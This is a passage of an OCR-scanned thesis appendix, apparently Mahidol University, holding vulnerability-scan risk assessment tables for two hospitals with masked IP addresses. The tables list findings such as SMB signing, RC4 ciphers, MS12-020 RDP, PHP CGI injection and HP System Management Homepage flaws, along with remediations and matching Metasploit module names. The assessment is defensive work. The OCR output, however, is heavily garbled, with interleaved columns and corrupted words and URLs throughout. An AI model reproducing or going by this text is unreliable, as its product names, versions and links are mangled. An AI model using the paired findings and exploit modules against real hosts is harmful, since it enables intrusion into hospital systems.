Microso in the h_ast‘s http//support microsofi com
it ) cunﬁgura_hrfu On ) Kb/88T429
Window Windows, this is found i http-/technet microsoft.com/
s Server . |he pulicy setting en-us/library/ec 731957 aspx
App | 2008r2 | PME | o\ iR Signing Required Microsoft network (blank) | hupswww nessusorghi?74 | o
Enterpri D:57608 ser\uer Dugumlly sign ) 80721 xxx.21
se cgﬂ"”;‘;ﬁ'm‘;:’:y‘; - hittpeffwww samba org/samb
Service called 'server signing‘.gSee a/docs/man/manpages-
Pack 1 the "ene: sl links fir Ysmb.conf.5 html
further details.
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Table D-1 Risk Assessment Report Hospital A [CVSS Score] (Cont.)

Support.

Risk Plugin Plugin metasploit
Rating name 0s T Name solution _name see_also P
Microsoft Windows
Reconfi the affected
Server 2003 SSL a elicnl]i;gme'f ng;l& 0 hitp:/fwww nessus. org/u?
Microsoft Windows Vista RC4 - :'f'R"CTC_FMS 21743666
Mis ft Window lugi Cipher ! § cfferyptoftalks/2003. .
ilow | DB ierosolt incows pluginl P Consider using TLS 12 with | (blank) | PHCE¥P-O e
Server 2008 D:65821 Suites AES-GCM suites subject to 03.12/slides. pdfi’ xxx 35
Microsoft Windows 7 Support b and web ! hutpfwww.isg.rhul.ac.uk/
Microsoft Windows ed '““s"s Wb server s/
Server 2008 R2 -y
Web
Server
E. Uses Make sure that every
" Microsoft Windows pluginl Plain e, : ANK XXX,
Servi Server 2008 R2 D:26194 |  Text geonitive Sorm g ivmits (blank) (blank) X025
ce . content over HTTPS.
Authenti
cation
Forms
Web
Server
N - Uses
Microsoft Windows luginl Plain Make sure that every —
Server 2008 R2 |:||J- ;fi o | Ton sensitive form transmits (blank) (blank) o
Enterprise Service Pack 1 Authenti content over HTTPS.
cation
Forms
FTP Switch to SFTP (part of the
Microsoft Wi . | Support S5H suite) or FTPS (FTP
Intran Server 2003 Service Pack pluginl s Clear over SSL/TLS). In the laer (blank) (blank) AN XNK.
et i 3 D:34324 Text case, configure the server so s 11
Authenti that control connections are
cation encrypted.
FTP Switch to SFTP (pant of the
Support SSH suite) or FTPS (FTP
Microsoft Windows pluginl s Clear over SSL/TLS). In the latter (blank) (blank) AN XNXK
Server 2008 R2 D:34324 Text case, configure the server so xx.25
Authenti that control connections are
cation encrypted.
Reconfi the affected
SSL FF guet e hittp:/fwww nessus.org/u?
RCA application, if possible, to 317a3666
pluginl | Cipher c:::’_:;s::mg:;'lp'z'ej h | (blay | PHPerypoalks2013. | xxn
D:65821 | Suites e L 03.12slides. pdf xx.25
g - AES-GCM suites subject o htto=ffwww.ise.rhul.ac.uk/
o browser and web server P " ’
ed s/
SUPPOTL.
FTP Switch o SFTP (part of the
Microsofi Wi < ) Support SSH suite) or FTPS (FTP
pluginl s Clear over SSL/TLS). In the later AN XNK.L
Server 2008 R2 (blank) (blank)
Enternrise Service Pack 1 D:34324 Text case, configure the server so xxx 25
P Authenti that control connections are
cation encrypted.
Reconfi the affected
SSL © - 1gure , .e htip /fwww nessus.orgfu?
application, if possible, to
RCA avoid use of RC4 ciphers. 21723666
pluginl Cipher Consider using TLS 1F2 '\h‘i‘l]l (blank) hitpeifer.yp.iofalks/2013. XX XXX,
D:65821 Suites m,g ) 03.12/slides. pdf xxx 25
5 “ AES-GCM suites subject o it fiwww.ise rhulac uk/
u;::a browser and web server P ﬂ:’ ’




Fac. of Grad. Studies, Mahidol Univ.

M.Eng. (Computer Engineering) / 129

Table D-1 Risk Assessment Report Hospital A [CVSS Score] (Cont.)

Support.

Risk Plugin metasploit
Rating name 05 Plugin ID Name solution _name see_also P
Terminal
Services Change RDP encryption
Microsoft Windows inID:3 Encryption “sek I _"}'P
4low LIS | Server 2003 Service P]“g;‘;s' Level is rete: (blank) (blank) N
Pack 2 not FIPS- ) '
140 4. FIPS Compliant
Compliant
SSL/TLS
Renesotiat hutpifwww. ietf org/mail-
.im archive/webftls/current/m
n
3948 huml
uginlD: landshake ‘ontact the vendor for e XXX
ginlD:4 | I hak C he vendor f lank) hitprl/www g
2880 ;;;}::. specific patch information. sec lwipracticaltls.pdf K. 100
I;m bitp:/toals.iet L org/himlef
5746
Injection ¢
Reconfi the affected
. ™ :_gure_ 8 .E http:/fwww nessus.orgfu?
SSL RC4 application, if possible, to 21743666
id T RC4 ciphers.
pluginlD:6 Cipher avm. user_: i rs. hutpifer.yp.iofalks/2013. WOCANN.
A Consider using TLS 1.2 with (blank) .
5821 Suites . . 03.12/slides. pdf xxx. 100
Supportsd | AES-GCM suites subject to http:/fwwew.isg thul.ac.uk/
ppO browser and web server P ﬂj’ ’
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Table D-2 Risk Assessment Report Hospital A [OWASP + Business Impact]

Risk Plugin _ metasploit_
Rating name 0s D pluginName solution name see_also 113
M .
Windows lugi for Wuiidnm Apply the appropriate hotfix hipedfwww. symantec.c —
Leritical DB Server 2008 R2 I§'34820 Multinle referenced in the vendor (blank) omfaveenter/security/C x.'&-x 3
Enterprise h e advisory. ontenty2008.11.19.html o
. WVulnerabiliti
Service Pack |
o
Microsof PHP
Intran Windows pluginl Unsupported Upgrade to a version of PHP (blank) hupsifwikiphp.netric/ | xoCxx
et Server 2003 D:58987 Version that is currently supported. releaseprocess oo 11
Service Pack 2 Detection
HP System
- Management Apache Reverse
Mi it Upgrade 1o HP Syste:
Intran W‘::::s pluginl Homepage < me-ntI:lu ys :10 or Proxy Bypass hipedfwww nessus.org/ | XxX.XXX
@ | Gerooosry | DISSSIL | 7.0 Muliple Manage hl:'q’“ge . Vulnerability ua467194 xxx.25
‘ Vulnerabiliti i Scanner
=
HP System
Management hupedfwww. nessus.org/
Hi < 1 HP Systel PHP CGI 754 1cT466
pluginl omepage perade 1o yslem u L a —
50851 711 Management Homepage 7.1.1 Argument hipedfwww. securityfoe 25
) Multiple or later. Injection us.comfarchive/1/5233 | 7
WVulnerabiliti 20030/ threaded
o
HP System
Mana gement HP System
Honrgir = Upgrade to HP Sysiem Management
pluginl 72014 ys il hipfwww nessus org/ | XXXXX
D:66541 iprange pinnapeoks Homcpage Anoymans u?2dbT5ce X025
) 7.2.0.14 or later. Access Code ) o
Parameter ution
Code
Execution
hitp:dfwww.nessus.org/
u?8leddefd
HE Sysleml Li[a;:"s:::“ hutpafwww. nessus org/
gl I“]m'!a'“gm;“ Upgrade to HP System r il " u?9b8 1afR9 _—
T Mana nt Hi 722 f hitpfwrww. L )
D:70118 | ginkgosnmp.i o JusiGetsNMpQ | TUpAwww.nessusorg/ | o
or later. u?Ta%i2bb
ne Command ueve Command -
Injection Injection hutp:fisow.securityfoe
’ . us.com/archive/ /5287
13/30/0/threaded
Symaniec
Mi fit Backup E:
w'_u::) lugial i wu;d e Apply the appropriate hotfix hipedfwww symantec.c | X0CXXX
LIS e, | Bt %1 u]t'p;:-“ referenced in the vendor (blask) omfaveenterfsecurity/C | xoec10
. 1 a
Service Pachts . advisory. ontent/2008.11.19.html 1]
=
SSL
pluginl Certificate Purchase or generale a proper O KAK
Microsofi D:51192 Cannot Be certificate for this service. (blarik) (blazk) X35
Windows Trusted
Sm’f'er 2003 . SSL Self-
Micrasoft pluginl Signed Purchase or generale a proper (blank) (blank) ELUREEY
Windows Vista D:57582 _ certificate for this service. xxx 35
- Centificate
Microsofi
2 high DB Windows Lo hitp:/support. microsofi
Server 2008 Enforce message signing in the com/kb/RE7429
i i hosi's configuration. On JhechneLmi i
Heroso Windows, this is found in the hitp -IHierose
wi 7 policy setting "Microsoft comfen-
M'_“Mﬂ pluginl SMB Signing network server: us/libearyocT31957.00 HNLXKX
Windows D:57608 | Required | Digitally sign communications (blank) px *xx35
Server 2008 R2 ’ & e hupsfwww.nessus.org! | T
(always). W?74b80723
On Samba, |he setting is called htp/fwww.samba.org/
"server signing”. See the 'see
also Tinks for furthe samba/docs/man/manp
ages-3fsmb.confl 5 html
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Risk Plugin _ metasploit
Rating name 0s D pluginName solution _ e see_also P
Enforce message signing in http:#fsupport microsofi.c
the host's configuration. On om/kb/887429
< ‘Windows, this is found in hupuiitechnet. microsofi.c
Microsofi N . .
Windows the policy setting "Microsoft om/fen-
lugi SMB Signi network : sflibrary/cc731957. .
2high | DB | Server200sm2 | PUS gning work server (blank) | SORCC ASPX ) 0
I se D:57608 Required Digitally sign hutpeffwwiw. nessus.orglfu? Rt ]
Service]Patk 1 communications (always)'. T4bB0T23
On Samba, the setting is hutpaifwww samba orgfsa
called "server signing'. See mba/docs/man/manpages-
the "see also' links for furthe 3/smb.conf’ 5 html
E- Microsoft e ASPNET ;m'{teﬂm‘e ifm'tﬁ;:;ﬂi' hupisupport microsofle |
Servi Windows S:f;'m DEBUG Method ol ble b thenticated (blank) omfdefault aspxTscid=kb; ) 25
ce | Server2008R2 | Enabled ) rntic en-us: 815157 R
users.
In the PHP configuration
file, php.ini, set the value for
y i hitpaiiwww Ophp.c h
lui PHP expose_php ‘expose_php' to 'O 10 p:ffusvow. Ophp.comfp
pluginl . . . . p_easter_egg.php XXX KKK
Information disable this behavior. (blank) .
D:46803 . hitp:ffseclists.org/webapp NN 25
Disclosure Restart the web server 00404324
daemon to put this change 4
into effect.
phpMyAdmin
I4x<348 Either apply the vendor T admin
pluginl Cross-Site patches or upgrade to (blark) P ume_p:;:fgurilyﬂ; XAKKXK
D:57337 Scripting phpMyAdmin version 3 4.8 MASA-2011-18 ph NN 25
(PMASA-2011- or later. PP
18)
phpM yAdmin
luginl 34x<34l0l Apply the vendor patches or hitp:/fwww phpmyadmin. ——
S':g:m? Cross-Site upgrade to phpMy Admin (blank) nethome_page/security/P xm" a5
) Seripting version 3.4.10.1 or later. MASA-2012-1_php o
(PMASA-2012-1)
Microsoft
Mak that DEBUG
Windows Jusind ASP.NET 1o Timprewyl hupilsupportmicrosofie |
Server 2008R2 | P8 DEBUG Method i (blank) om/default aspx?scid=kb; i
. D:33270 only usable by authenticated NN 25
Enterprise Enabled wsers en-us:BI15157
Service Pack 1 )
In the PHP configuration
ﬁle', phpini, selll.he value for http:/Aswww. Ophp.com/ph
plugis PHP expose_php ‘expose_php' to 'OfT to p_caster cggphp —
Information disable this behavior. (blank) o
D:46803 . ) hitp:ffseclists.org/webapp NXN.25
Disclosure Restart the web server cec2004/q41324
daemon to put this change ¢
into effect.
Microsofi phpMyAdmin
Windows I4x=348 Either apply the vendor -
E- g/ d admin.
3 hi Servi Server 2008 R2 pluginl Cross-Site patches or upgrade to (blank) P u::w :hﬂgun_ml:p AXKXKK
-high o Enterprise | D:57337 Scripting phpMyAdmin version 3.4.8 ““M" e A—gﬂﬁ " h"’ xex25
Service Pack 1 (PMASA-2011- or later. PP
18)
phpMyAdmin
lugind 34x<34lnd Apply the vendor patches or hitp:/fwww phpmyadmin. [——
I;SEIJE'F Cross-Site upgrade o phpMyAdmin (blank) nethome_page/security/F xm—t 5
) Scripting version 3.4.10.1 or later. MASA-2012-1_php o
(PMASA-2012-1)
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available as well.

hiip:/fwww._php.net/Changelog-
S.php#5.4.2

Risk Plugi . metasploit
Rating name 0s 01D pluginName solution _ mame see_also P
hup/iwww _php.net/ChangeLog-
) 5.php#5.2.11
I PHP<52.11 L] de 1o PHP
. Intran P U8l . Fg_m < hitp:dfwww.php.netireleases/5 2_11.php AN HNK.
2 high nlD:4 Muliiple version 5.2.11 or (blank) L
et - hitp:/inews. php.net/php.internals/43597 w11
1014 Vulnerabilities later.
i hupe/iwww _php.net/ChangeLog-
’“ﬂ“m 5 php#5.2.11
. ¥
Window | plugi PHP<52.12 Upgrade to PHP itp:/fwwiv.nessus.org/u?57 24080
. . hitp:dfwww.php.netreleases/5 212 php AN HNK.
s Server | nlD:4 Muliiple version 5212 or (blank) I nel/Chaneelo e ll
2003 | 3351 Vulnerabilities later. piivriny.plp. sebos :
) 5 php#5.2.12
Service - -
Pack 2 hup:ffsecurityreason.com/achievement_sec
urityalert/s2
http://securi com/securityalert/T008
plugi | PHP<532/5213 | Upgradeto PHP tp:Aisecunityreasan. com/Securitys
alD-4 Multiple version 5.3.2 /5.2 13 (blank) http://archives neohapsis comfarchives/fulld | xxx xxx.
492'1 Vulnerabiliti I.nl.e - isclosure/2010-02/0209 huml a1l
uineraotites orfater- https//www.php.netreleases/s_3_2php
hup/iwww _php.net/ChangeLog-
5.php#5.3.2 hitp
plugi PHP52=5214 Upgrade 1o PHP hittpfwww php.netfreleases/S 2 14.php ——
nlD:4 Multiple version 5.2.14 or (blank) hup/iwww _php.net/ChangeLog- el }
B244 Vulnerabilities later. 5. php#5.2.14 )
plugi PHP52<52.15 Upgrade 1o PHP hupfiwww. php.netreleases/S 2 15.php ——
nlD:5 Multiple version 5.2.15 or (blank) hitp:/iwww. php.net/Changelog- e ll }
1139 Vulnerabilities later. 5 php#5.2.15 )
hutp/ixhe myxwikiorg/xwiki/binfview/XS
LT/Application_PHPS
2 hitp:/fwww.php.netfarchive/201 2. php#id20
I PHP < 539
:I]I:lf; Multinle Upgrade 1o PHP Hashtable 12-01-11-1 XXX XKX.
?53'? vl ]Pilil.ies version 539 or later. | Collisions hitpfiarchives neohapsis comfarchivesbugt sxx. 11
ragf2012-01/0092_himl
hutps #ibugs. php net/bug php?id=55475
httpssibugs php. netbug php?id=55776 hu
hup:fiwww.nessus_org/u?el 1d4026
hutps Abugs. php net/bug phpYid=61043
Jfbugs php net/bug phpTid=54374
plugi PHP<53.11 Upgrade to PHP ET‘” m"gs Do m"s Photi -
nlD:s Multiple version 5.3.11 or (blank) tps:/fbugs. php.net/bug. php?id=602 N
8966 Vulnerabilities later. o e Tk ol
y securityfm=13462648 1 806571 &ew=2
httpfiwww_php.netfarchive/2012 php#id20
12-04-26-1 he
htp:ffeindbazen net’201 2/05/php-cgi-
advisory-cve-2012-1823/
LY/ de 1o PHP
\-'ers!:uir:; 127542 hitps:fbugs. php.net/bug. php?id=61910
plugi PHP<3312/542 Im hler o r | PHP CGl hutp/fwww_php.netfarchive/201 2 php#id 20 ——
nlD:5 CGI Query String & ) . Argument 12-05-03-1 I )
8988 |  Code Execution S Injection hutp:/fwww.php.ney/ChangeLog- e
workaround is
5 php#5.3.12
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RTI::g name 05 Pllugjn pluginName solution mjt:l::" see_also g
Micro http:/fsupport. microsoft. com/kb/&
soft Enforce message signing in the host's 87429
Wind f:nl::gg_m;l;an. |-Cm Wi.t?do\:,_mis isn hup:;_ll.echnel;m;gmg_m“—
in icy setting ‘Microsol i e x
2 high Intran ows pluginl SMB Signing nepnc\'-a:i serverg'. (blank) hllpﬂ!w:r:\vafymsm_ury’ﬁbsm LK
et Serve | D:5T7608 Required L . L , xux 25
. Digitally sign cum.m!Jmc.amns (always)". 23
2008 On Samba, the setting is called 'server https/fwww samba orgfsambaldoe
®2 signing’. See the see also” links for furthe s/man/manpages-
3fsmb.conf.5 himl
http:/farchives.neohapsis.com/farc
it ;{r:‘f; hives/fulldisclosure/2012- ——
D:64263 Remote User There is no known solution at this time. (blank) 12/0010.html .
Enumeration hitpsfmariadb atlassian net/brow
se/MDEV-35909
htip:/fwww zerodayinitiative.com
h';'f;:::“m ap::':: 1 Iadvisories/ZDI-13-204/
Homepage < quest h;ad http:/fwww nessus_org/u?647212
pluginl 7310 Upgrade to HP System Management ez_s eb KA KN,
D:6%020 Multiple Homepage 7.2.1.0 or later. Function hnpﬂwww.ness;s.urgfu?sﬂélﬂ X 25
Vuln:abllm Dls:rlri'—:w hutpfiwww security focus. comfare
hive/ 1/528723/30/0/threaded
HP System
Management httpyfwww nessus orgfulec3c1bs
pluginl Homepage < Upgrade to HP System Management (blank) B XX XXX
D:72959 7.3 Multiple Homepage 7.3 or later. hutpofiwww security focus. comfare xx25
Vulnerabiliti hive/1/531406/30/0/threaded
es
Micro hitp:fsupport. microsoft. com/kb/8
soft Enforce message signing in the host's 87429
Wind configuration. On Windows, this is hutp:/frechnet microsoft com/en-
ows pluginl SMB Signing found in the policy setting 'Microsoft us/library/cc 731957 aspx ——
Serve . network server: (blank) http:ffwww nessus_org/u?74b807
D:57608 Required M- . . . xxx.25
£ Digitally sign communications (always)'. 23
2008 On Samba, the setting is called 'server http:fwww samba org/sambaldoc
R2 signing’. See the see also” links for furthe siman/manpages-
Enter 3fsmb.conf.5 himl
pnse_ hitp:ffarchives neohapsis com/arc
Sevl . MySQL hives/fulldisclosure/2012-
LoF | -pimemt g rotocol There is no known solution at this time. (blask) 12/0010.btml R
Pack D:64263 | Remote User . . xux.25
1 Enumeration https Jfmariadb atlassian_netbrow
se/MDEV-3909
http:fwww zerodayinitiative com
n;l?;::::t ap;ﬂ: r Jadvisories/ZDI-13-204/
. Homepage < quest head hutp:/fwww nessus_org/u?647212
pluginl 7310 Upgrade to HP System Management e;s eb AN NNN
D:6%020 Multiple Homepage 7.2.1.0 or later. Function hnpﬂwww.nrss;s.urgfu?sﬂélﬂ xx25
Vulnerabiliti 0“”'3_: hutpoffwww securityfocus comfare
“ YR hinef1/528723/30/0hreaded
HP System
Management httpdfwww nessus orgfuTec3c b5
pluginl Homepage < Upgrade to HP System Management (blank) 3 AXX XXX
D:72959 7.3 Multiple Homepage 7.3 or later. httpdiwww securityfocus comfare xxx25
Vulnerabiliti hive/1/531406/30/0/threaded
es
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'server signing’. See
the "see also’ links
for furthe

Risk . metasploit_
Rating name 0s Plugin ID pluginName solution name see_also P
- i
ws::r:s plugialD:3 Unsupported Web needed. O isc, KRHHEK
2 hi LIS " de 1o blank blank .
£h 2003 4460 Server Detection tipgrace 1o A newiet (blask) (blask) xx¢ 100
Service version if possible or
Pack 2 switch to another
SETVEr.
. . Purchase or generate
pluginlD:5 SSL Centificate . NAXNX.
riificate blank blank
1192 Cannot Be Trusted | ° FroPer certh] (blank) (blank) 0 100
for this service.
Purchase te
plugialD:5 | SSL Self-Signed N o g pank bank XK.
7582 Certificate # proper certi (blank) (blaak) xxx.100
for this service.
hutpaffwww nessus orgfu?eddSe
clb
Apply the work-
pluginlD:6 | Oracle TNS Listener mPL: in Oracle's (blank) hitp:/fwww nessus.orgfu?lfeae | x00000
9552 Remote Poisoning m’m ash xxx.100
i httpe/fwww nessus. org/u?29d49
dbob
Enforce message
signing in the host's
configuration. On
Windows, this is hup/fsupport. microsofi.com/k
Microsoft found in the policy h/EET429
Windows setting "Microsoft hittp/ftechnet microsoft. com/en
Server . i network server: -usflibraryfce 73 1957 aspx
I ID:5 SMB 5 .
pacs | 200sr2 | P ”f;s n_g:;ns Digitally sign (blank) hitp://www_nessus.arg/u?T4b8 m";i‘
Enterprise S communications 0723 o
Service (always)". hitp:/fwww_samba orgfsamba/d
Pack 1 On Samba, the ocs/man/manpages-
selting is called 3fsmb.conf 5 himl
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s=]
Remove BROWSE

RT;:g name 05 I‘Ilugjn pluginName solution m_ﬁ::ﬂ" see_also P
Microsofi
Windows
Server 2003
Microsoft Reconfigure the affected .
Windows Vista application, if possible, Lo mi"w:r;:;::"’@?
Imediv | oo xrﬁ::: pluginl SSL RC4 Cipher czxfmﬁs‘:;f:;mm (blnky | BPZerypohaks2013. | xxxaxx
m Server 2008 D:65821 Suites Supported AES-GOM suites subject to 03.1 ﬂs_ludes.pdf Axx 35
Microsoft browser and web server htlp:r‘-‘www.ﬁmul.ac_nkf
Windows 7 Support.
Microsoft
Windows
Server 2008 R2
E- Microsofi pluginl We:li:\:;:ses Make sure that every sensitive —
Servi Windows 26194 Authentication form transmits content over (blank) (blank) 35
ce Server 2008 R2 ) HTTPS. ’
Forms
Microsoft
Intran Windows pluginl We? S:r\'trr - R the affected fil Jank Jank A NXX.
e Server2003 | D:11229 ':J:::L_Efn"p emove fed tle(s)- (blark) (blark) ol
Service Pack 2
hitp:/fnews. php_net/php.in
. PHP <3529 . temeg 12762
pluginl Multiple Upgrade to PHP version 5.2.9 (blank) hitpifwww php netfreleas | o000
35750 Vulnerabilities or later. esf5_2 9.php a1l
hutp/www.php.net/Chan
geLog-5.php#5.2.9
http:/fbugs_php_netbug ph
plid=45997
. PHP < 5.2.10 . mnp;tfbng_s -php.netbug ph
pluginl Multiple Upgrade to PHP version 5.2.10 (blank) plid=48378 I NNN
D:39480 . or later. hutpfwww php.netreleas w11
Vulnerabilities
es/5_2 10.php
http/www.php.net/Chan
gelog-5.php#s. 2 10
phpMyAdmin . .
pluginl error.php BBcode Upgrade 1o phpMy Admin (blank) mﬁﬁmﬁ; AN KNX.
D:51425 | Tag XS5 (PMASA- 3.4.0-betal or later. MASA-2010-9.php ool
2010-9)
http:/fbugs.php_netbug ph
plid=53632
PHP 5.2 <5217/ http:/fwww php.net/distri
pluginl 5.3 < 5.3.5 String To Upgrade o PHP 5.2.17/5.3.5 (blank) butions/test_bugS3632.x1 | xXXNXXX.
51439 Dauble Conversion o later. hutplfwww php netfreleas w11
DoS es/S_2_17.php
hutpffwww php. netfreleas
es/5_3 5.php
For Windows syste
to version 6.5?!7.0'7‘; ;FF':‘:E hitpiwww.nessus.orglu?
. Dell GpenMa.mnge necessary) and apply the e3crar
pluginl Server Administrator appropriate patch referenced in (blank) hutpfiwww nessus orglu? | 00K
D:62974 omalogin html US-CERT VU#558132. 5T8eable w11
DOM-based XS5 . . hup:fiwww nessus.orgfu?
For Linux systems, there is no | (5b40e
known solution at this time.
Apply the following registry
changes per the referenced
Technet advisories ¢ hitp/support. microsofi.c
Set : om/kbiql43474/
i N HKLM\SY STEM\CurrentCont hitp:/support. microsofi.c
pluginl ;;L;::JRL\:;":; rolSetControNL SARestrictAn | om/kh/q246261/ HOLXXE.
D:26920 Authentication onymous=1 hutpfftechnet microsofi.co w11
HEKLMSYSTEMVCurrentCont mfen-
rolSef\Services\lanmanserver'p us/library/ce TRIGEO(WS. 1
Mrestrictnull e 0).aspx
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Hospital A [OWASP + Business Impact] (Cont.)

3fsmb.conf 5 himl

Risk Plugin metasploit_
Rating name 05 D pluginName solution name see_also jig
Swilch to SFTP (part of the S5H suite)
3.mediu Intran pluginl FTP Supports Clear or FTPS (FTP over SSL/TLS). In the (blank) (blank) M ANK
m et Microso | D:34324 Text Authentication latter case, configure the server so that x.25
ft control connections are encrypled.
Window = =
s Server Reconfigure the affected application, hutp :-r;;c::.urgfu.
2008 R2 iff ible, to avoid TRC4
pluginl |  SSLRC4 Cipher P httpfer yptofalks2013. | sxxxax.
- ciphers. Consider using TLS 1.2 with (blank) -
D:65821 Suites Supported . . 03.12/slides pdf’ 25
AES-GCM suites subject to browser .
http/fwww.isg.rhul.ac.uk/
and web server support. s
Indusoft
luginl Direﬁ:uh STerr:fr‘ersal Contact the vendor for an update, use a ‘WebStudio —
LIS plug oy v different product, or disable the NTWebServe (blank) A
D:10297 Arbitrary File . " a0 100
service altogether. r Remote File
Access
. Access
i Multiple Server
. _ Crafted Request
Window pluginl . WA ANN.
< Server D11037 WEB-INF Dulrec‘tary Contact the vendor for a patch. (blank) (blank) e 100
Information
2003 _
Service Disclosure
it
Pack 2 i E“mr::e m":s:f:ia "::‘“ hitp:/fwww.oxid it/downl
gl 1
Microsoft Windows = e i oads/rdp-gbu.pdf
. 7
pluginl Reaote Deskiop - Select the "Allow connections only hutp/fwww.nessus.org/u? KA KKK
D:18405 Protocol Scq from computers running Remote (blank) c262809% a0 100
) Man-in-the-Middle s p 8 hitp/ftechnet. microsofi.co
Desktop with Network Level
Weakegit Authentication’ setting if it is e
available. us/library/cc 7826 10.aspx
Reconfi the affected licati
pluginl SSL Weak Cipher if s:‘iu:m a\:ide::he :::::::‘ (blank) httpsfwww opensslorg/d | s
D:26928 Suites Supported e o ocs/apps/ciphers.himl Xxx. 100
JBoss Enterprise hitps:/fbugzilla redhat.co
Application Platform mfshow_bug cgi?id=4577
pluginl (EAP) Status Servlet Upgrade 1o JBoss EAP version (blank) 57 KXXXXX,
D:33869 Request Remote 4.2.0.CP09 /4.3.0.CPOB. https:/fbugzilla redhat.co xx. 100
Information mfshow_bug cgi?id=5859
Disclosure 00
hutpiitools.ietCorg/humliel
3279
. SSL Certificate ; . hutp/fwrww. phreedom.org
pluginl si usine Weak Contact the Certificate Authority to (blank) [researchirogue-ca/ HAX XXX,
D:35291 . & . have the certificate reissued. hitpofitechnet. microsoft.co a0 100
Hashing Algorithm
mien-
usfsecurity/advisory/9615
09
InginD S5L Medium Reconfigure the affected application if —_—
; 4;73 Strength Cipher possible to avoid use of medium (blank) (blank) o
) Suites Supported strength ciphers.
. Terminal Services Change RDP encryption level to one
;':f;:; Encryption Level is of : 3. High (blank) (blank) x“":::
- Medium or Low 4. FIPS Compliant o
Microso Enforce message signing in the host's hitp:f/supy m.;;:;saﬂ.c
ft configuration. On Windows, this is hitp-/ftechnet microsofi.co
Window found in the policy setting 'Microsoft mh;n
s Server network server: }
pluginl SMB Signing . . - us/library/cc731957.aspx M ANK
PACS E:‘emrp@ﬁ D:57608 Required Digitally ‘;E“M":y“;;’""'“”m (blank) hitp:ffwww.nessus.orgla? | xxx. 146
se_ Gn_Sa_mha, the setting is callfd ‘server hnpﬂw‘\i:?;ga.u
Service signing’. See the "see also' links for docs B
Pack 2 furthe mba/docs/man/manpages-
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Table D-2 Risk Assessment Report Hospital A [OWASP + Business Impact] (Cont.)

Risk Plugin metasploit_
Rating name 0s D pluginName solution name see_also i3
Microsofi
Intran "‘Islerw:s pluginl FTP Supports s:l'lll’cshfl:'fs:::ei 55 Lﬂ;}s[s:::em]t:t:: AN KA.
1 . - -
low el 2003 D:34324 Clear _'Tex.l case, configure the server so that control (blazk) (blazlk) wooc ]
- Authentication .
Service connections are encrypled.
Pack 2
Microsofi
Windows - Ten'mm.] Services Change RDP encryption level to :
LIS Server pluginl Encryption Level (blank) (blank) HK XXX
2003 D:30218 is not FIPS-140 2 0. 100
r " 4. FIPS Compliant
Service Compliant
Pack 2
httpe/iwww ietforg/ mai
I-
SsL/ TLS archive/web/tls/current/
3 Renegotiation .
pluginl Handshakes Contact the vendor for specific patch (blank) msg3948 himl LN
D:42880 X . information. httpffwww. g- xx 100
MiTM Plaintext .
Daia Imjection sec.lu/practicalils. pdf
! hitpfitools. ietCorg/htm
Vric5746
Titpeeds X X
Reconfigure the affected application, if i :;.;;e:;? org/
ible. id f RC4 ciphers. )
pluginl | SSLRC4Cipher | Pom & o e e ot by | PPFrypao/alks201 | o
T 1 - 1 5S-G
D:65821 Suites Supported [ . & 3.03.12/slides. pdf . 100
suiles subject to browser and web server 1
. t hutpefiwww isg rhul ac.
- ks
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metasploi_

Medium or Low

4. FIPS Compliant

Risk name 05 pluginlD pluginName solution name see_also i3
Mis fi
wn_cmsnl . MS09-050: Microsoft Microsoft hitp/fwww.nessus.org/u?
Slmer Windows SMB2 Microsoft has released a SRV2SYS 0f72ecT2
Leriti ceedb 2008 pluginiD=4 | _Smb2ValidateProvide patch for Windows Vista SMB Negotiate | httpiftechnet microsofico | 000
cal En . 08T rCallback() and Windows Server ProcessID mien- X 38
Serv]ice Vulnerability (975497) 2008. Function Table usfsecurity/bulletin/MS09
Pack 2 (uncredentialed check) Dereference 050
Microsoft has released a
Microsoft . set of patches for
Windows Vﬁ;ﬁ??ﬁ in Windows XP, 2003, MS12-020
Server ) " Vista, 2008, 7, and 2008 Microsoft
- pluginlD:5 | Remote Deskiop Could AN
2high | ceedb 2008 R2: Remote (blank)
: B435 Allow Remote Code ] xxx.38
Enterprise Execution (2671387) hup/fiechnet. microsofi.co Desktop
Service mfen- Checker
uncredentialed check
Pack 2 ( atialed check) | cecurity/bulletinims 12-
020
Microsofi has released a
3 set of patches for
u:'“m: vﬁ;ﬁ;ﬂi - Windows XP, 2003, MS12-020
. Vista, 2008, 7, and 2008 Microsoft
pacsc Server pluginlD:5 Remote Deskiop Could R2: Remole (blank) XXX XXX,
cel 2003 #8435 Allow Remote Code C. w13
. . hitp://technet microsofi.co Deskiop
Service Execution (2671387) e Checker
Pack 2 edentialed check
(uncredentialed check) | e curity/bulletin/ms 12-
020
- Force the use of SSL as
a transport layer for this
Microsoft service if supported, hitp/fwww oxid i'downl
Windows Microsoft Windows orfand vads/rdp-gbu_pdf’
Server . Remote Deskiop - Select the "Allow htepiiwww. nessus.org/u?
3 med | 1D:1 NN
et | cocab 2008 P ug:c‘ls Protocol Server Man- connections only from (blank) £2628096 ’:::3";
Enterprise in-the-Middle COMPpUIErs running hup:fitechnet. microsofi.co ’
Service Weakness. Remote Deskiop with mien-
Pack 2 Network Level us/library/ee 782610 aspx.
Authentication’ setting if
it is available.
. N n Purchase or generate a
pluginiD-4 SSL Certificate with ) . KKK
ertificate for thi lank lank
5411 Wrong Hostname R '_ © for this (hiack) (blacik) AL 3R
service.
N . Purchase or generate a
pluginlD:5 SSL Certificate Cannot N N XK AKX
certificate for thi lank lank
1192 Be Trusted P (blask) (black) 38
service.
3 N Purchase or generate a
pluginiD:5 S5L Self-Signed . ] AN
certificate for this lank lank
7582 Cenificate B e (black) (lank) .38
SErvice.
hitp-/fsupport. mic fi
Enforce message signing L rmeroseite
in the om/kb/RRT429
: hitpiftechnet microsofi.co
configuration. On e
. Windows, this is found in
| 1D:5 usflibrary/ce 731957, LHNX.
plugin SMB Signing Disabled | the Local Security Policy. (blank) torarylce ASpX | e
T608 L hitpffwww. nessus.orgfu? A 38
On Samba, the setting is
called 'server signing' TADE0723
See the see alsg’ ilg':kssf.ar hutp/fwww samba.org/sa
+ details mbaldocs/man/manpages-
further details. 3/smb.conf 5 himl
Change RDP encryption
I Terminal ices level o one of : _—
B E ion Level i lank lank o
7690 neryption Level is 3. High (blarik) (blacik) xxc38
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Table D-3 Risk Assessment Report Hospital B [CVSS Score] (Cont.)

metasploit_

is Medium or Low

4. FIPS Compliant

Risk name 0s pluginlD pluginName solution name see_also i3
-F the SSL
Microsoft Microsoft . mhw“sr;"mh ge:j; . hittp:ffwww.oxid it/downl
ns'pﬂﬂ 1
‘Window: oads/rdp-gbu.pdf
Slerv : Windows Remote supported, orfand " gbu.pd .
